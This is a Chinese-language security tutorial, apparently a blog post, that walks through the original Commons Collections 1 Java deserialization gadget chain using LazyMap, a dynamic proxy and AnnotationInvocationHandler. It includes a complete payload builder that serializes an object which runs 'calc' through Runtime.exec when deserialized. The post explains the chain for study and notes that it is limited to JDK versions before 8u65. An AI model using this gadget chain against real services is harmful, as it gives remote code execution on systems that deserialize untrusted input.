JAVA反序列化CC链1补充

JAVA反序列化CC链1补充

前言

在前面,我们已经彻底分析了CC链1的执行流程,至于这个补充,是因为我们讲的那个CC1是改良版本的,真实的版本和我们讲的略有差异,所以我们再次进行分析,此次分析,需要我们掌握JAVA的动态代理,没准备的师傅可自行了解或参考我的文章,闲言少叙,我们开始

书接上回

既然是基于CC1链的再分析,那肯定有些东西是不会变的,那就是最终执行命令的逻辑

1

既然标注的地方不变,那要执行命令,就是找谁能执行ChainedTransformer里的transform函数,那我们直接去找使用过该函数的地方

2

我们能看到我们以前使用的TransformedMap类,毕竟找的方法都是一致的,这次,我们使用LazyMap类,LazyMap中的get方法可以执行transform函数,只要factory可控就行

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

我们找到其decorate函数并发现参数是可控的,而且传入类型是符合的,我们完全可以传入我们构造好的ChainedTransformer,接下来就是继续去寻找哪里调用了get方法,最好能是某个可控类中的readObject方法调用的

可惜,我们未能如愿,但是在AnnotationInvocationHandler类中找到了调用get方法的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member); //此处调用了get方法,而且memberValues参数是可控的

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

我们继续看,本来我们应该接着去找哪里调用了invoke方法,可是这个方法,越想越奇怪,我们赶忙去看看这个类继承于哪个接口

1
2
3
4
5
public interface InvocationHandler {

public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

这个类竟然继承于InvocationHandler接口,这是一个动态代理的接口,所以我们无需去找谁调用了invoke方法,只要我们声明一个代理类,将AnnotationInvocationHandler类作为实例化代理类的第三个参数,然后我们不管调用该代理类的任何方法,我们都能跳到AnnotationInvocationHandler中的invoke方法

说了半天,我们该如何实现呢,首先,我们还是得找到链子的开端,不然呢,我们不知道去代理哪个类,这其实很难找的,这里作者选用的链子的起始类依然是AnnotationInvocationHandler类,与前面的CC1的链子开端是一样的,那我们继续想,这个AnnotationInvocationHandler类在构造时只有两个参数,第一个是注解类,第二个是一个Map类,注解类在其readObject方法里面几乎是无用的,那我们只能寄希望于Map类,那这个Map,我们到底该如何传呢,结合我们前面的分析,没错,传入一个Map的代理类

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得构造器
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
//o1作为的是代理类的第三个参数
InvocationHandler o1 = (InvocationHandler)aihConstructor.newInstance(Target.class,lazyMap);
//构造好我们的Map代理类
Map map_proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},o1);

Object o2 = aihConstructor.newInstance(Target.class, map_proxy);

SerializeUtil.serialize(o2,"o2.bin");

最前面的没啥好说的,LazyMap的构造也没啥好说的,前面已经说过了其参数可控的特性,所以我们传入chainedtransformer

前面说过了,作者依然选用AnnotationInvocationHandler作为链子的开端,这里我们第二个参数传入的是一个代理的Map类,传入Map类是因为该类接受的第二个参数就是Map类型,至于为啥一定要传入的是代理Map类,我们前面笼统的说过了,这里我们展开说说它的详细调用过程

首先o2的反序列化被读入到AnnotationInvocationHandler类中的readObject方法中

3

当执行到红框所指的位置时,由于memberValues是我们传入的代理Map类,那么,根据代理的特性,会执行Map代理类中InvocationHandler类里面的invoke方法,由于这个代理Map类,我们传入的InvocationHandler其实就是o1,所以,此时就会执行o1中的invoke方法

那么o1是啥呢,其实o1还是AnnotationInvocationHandler类,所以我们跟进invoke方法

4

发现要经过两个判断,但此时都轻松通过,因为method.getName()获取到的是entrySet[动态代理的知识],所以说判断轻松通过,memberValues.get(member)这里,因为执行的是o1中的invoke方法,所以memberValues就是lazyMap[因为我们在实例化o1时传入的就是lazyMap],到这里我们就发现,此时将执行lazyMap.get(member),就会走到我们之前找到的地方

5

此时只要通过这个if判断,我们就能执行factory.transform(key)了,而factory我们早已经控制为chainedtransformer

此处的map是我们先前传入的hashMap,里面是空的,所以也轻松通过,成功RCE

这就是一定要传入代理类的原因,传入代理类,才能跳到lazyMap的get方法之中

讨论

但是,要说的一定是,这条CC链1无论是我们之前分析的改版,还是现在分析的原版,都是有JDK的版本限制的,就是8u65之前,8u65之后,随着AnnotationInvocationHandler类中的readObject方法的改写,使这条链永远的成为了过去式

参考资料

【Java反序列化CommonsCollections篇(二)-最好用的CC链】https://www.bilibili.com/video/BV1yP4y1p7N7?vd_source=c210ec42fbb60565fb74b1baf7a2c3ef